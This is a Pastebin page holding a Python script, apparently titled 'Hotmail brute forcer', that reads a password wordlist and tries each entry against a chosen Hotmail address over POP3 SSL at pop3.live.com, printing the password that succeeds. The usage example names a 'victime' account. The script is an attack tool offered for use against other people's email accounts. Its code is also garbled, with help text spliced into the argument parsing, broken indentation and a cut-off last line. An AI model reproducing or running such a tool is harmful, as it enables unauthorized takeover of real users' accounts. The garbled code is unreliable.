Advertisement
Guest User

Untitled

a guest
Apr 7th, 2020
2,812
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.30 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -- coding: utf-8 --
  3. # Hotmail brute forcer
  4. #Coded By R00T
  5.  
  6. import sys, poplib, time
  7.  
  8. log = "hotmailbrute.log"
  9. file = open(log, "a")
  10. counter = 0
  11. face = '''
  12. _ _ _ _ _ __
  13. | |_ __ | |_ _ _ __ _ _() | | |__ / _|
  14. | '_ \ / _ \| _| ' ` _ \ / ` | | | | ' \| |_
  15. | | | | () | || | | | | | (| | | | | |) | _|
  16. || ||\__/ \|| || ||\_,||| |./||
  17.  
  18.  Hotmail brute forcer '''
  19.  
  20. help = '''
  21. Usage: ./hotmailbf.py -u [email] -w [wordlist]
  22. Example: ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt
  23. '''
  24.  
  25. for arg in sys.argv:
  26.   if arg.lower() == '-u' or arg.lower() == '--user':
  27.      email = sys.argv[int(sys.argv.index(arg))+1]
  28.   elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  29.        wordlist = sys.argv[int(sys.argv[1: ].help = ''
  30.  
  31. Usage: ./hotmailbf.py -u [email] -w [wordlist]
  32. Example: ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt index(arg)) + 2]
  33.  
  34. elif arg.lower() == '-h'
  35. or arg.lower() == '--help':
  36.   print face
  37. print help
  38. file.write(face)
  39. file.write(help)
  40.  
  41. # Change these
  42. if needed.
  43. HOST = 'pop3.live.com'
  44. PORT = 995
  45.  
  46. try:
  47. preventstrokes = open(wordlist, "r")
  48. words = preventstrokes.readlines()
  49. count = 0
  50. while count < len(words):
  51.   words[count] = words[count].strip()
  52. count += 1
  53. except(IOError):
  54.   print "\n[-] Error: Check your wordlist path\n"
  55. file.write("\n[-] Error: Check your wordlist path\n")
  56. sys.exit(1)
  57. def definer():
  58.   print "-" * 60
  59. print "[+] Email : %s" % email
  60. print "[+] Wordlist : %s" % wordlist
  61. print "[+] Length wordlist : %s " % len(words)
  62. print "[+] Time Starting : %s" % time.strftime("%X")
  63. print "-" * 60
  64. file.write("\n[+] Email : %s" % email)
  65. file.write("\n[+] Wordlist : %s" % wordlist)
  66. file.write("\n[+] length wordlist : %s " % len(words))
  67. file.write("\n[+] Time Starting : %s" % time.strftime("%X"))
  68.  
  69. def main(password):
  70.   global counter
  71. sys.stdout.write("[-] Trying : %s \n" % (password))
  72. sys.stdout.flush()
  73. file.write("[-] Trying : %s \n" % (str(password)))
  74. try:
  75. pop = poplib.POP3_SSL(HOST, PORT)
  76. pop.user(email)
  77. pop.pass_(password)
  78. pop.quit()
  79. print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
  80. file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
  81. sys.exit(1)
  82. except Exception, e:
  83.   pass
  84. except KeyboardInterrupt:
  85.   print "\n[-] Aborting...\n"
  86. file.write("\n[-] Aborting...\n")
  87. sys.exit(1)
  88. counter += 1
  89. if counter == len(words)/5:
  90.   print "[+] Hotmailbruteforcer 20% way done..."
  91. print "[+] Please be patient..."
  92. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  93. file.write("[+] Please be patient...\n")
  94. elif counter == len(words)/4:
  95.   print "[+] Hotmailbruteforcer 25% way done..."
  96. print "[+] Please be patient..."
  97. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  98. file.write("[+] Please be patient...\n")
  99. elif counter == len(words) / 2:
  100.   print "[+] Hotmailbruteforcer on 50% done..."
  101. print "[+] Please be patient..."
  102. file.write("[+] hotmailbruteforcer on halfway done...\n")
  103. file.write("[+] Please be patient...\n")
  104. elif counter == len(words):
  105.   print "[+] Hotmailbruteforcer done...\n"
  106. file.write("[+] Hotmailbruteforcer done...!\n")
  107.  
  108. if _name_ == '_main_':
  109.   print face
  110. file.write(face)
  111. definer()
  112. for password in words:
  113.   main(password.replace("\n",""))
  114. main(passwo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement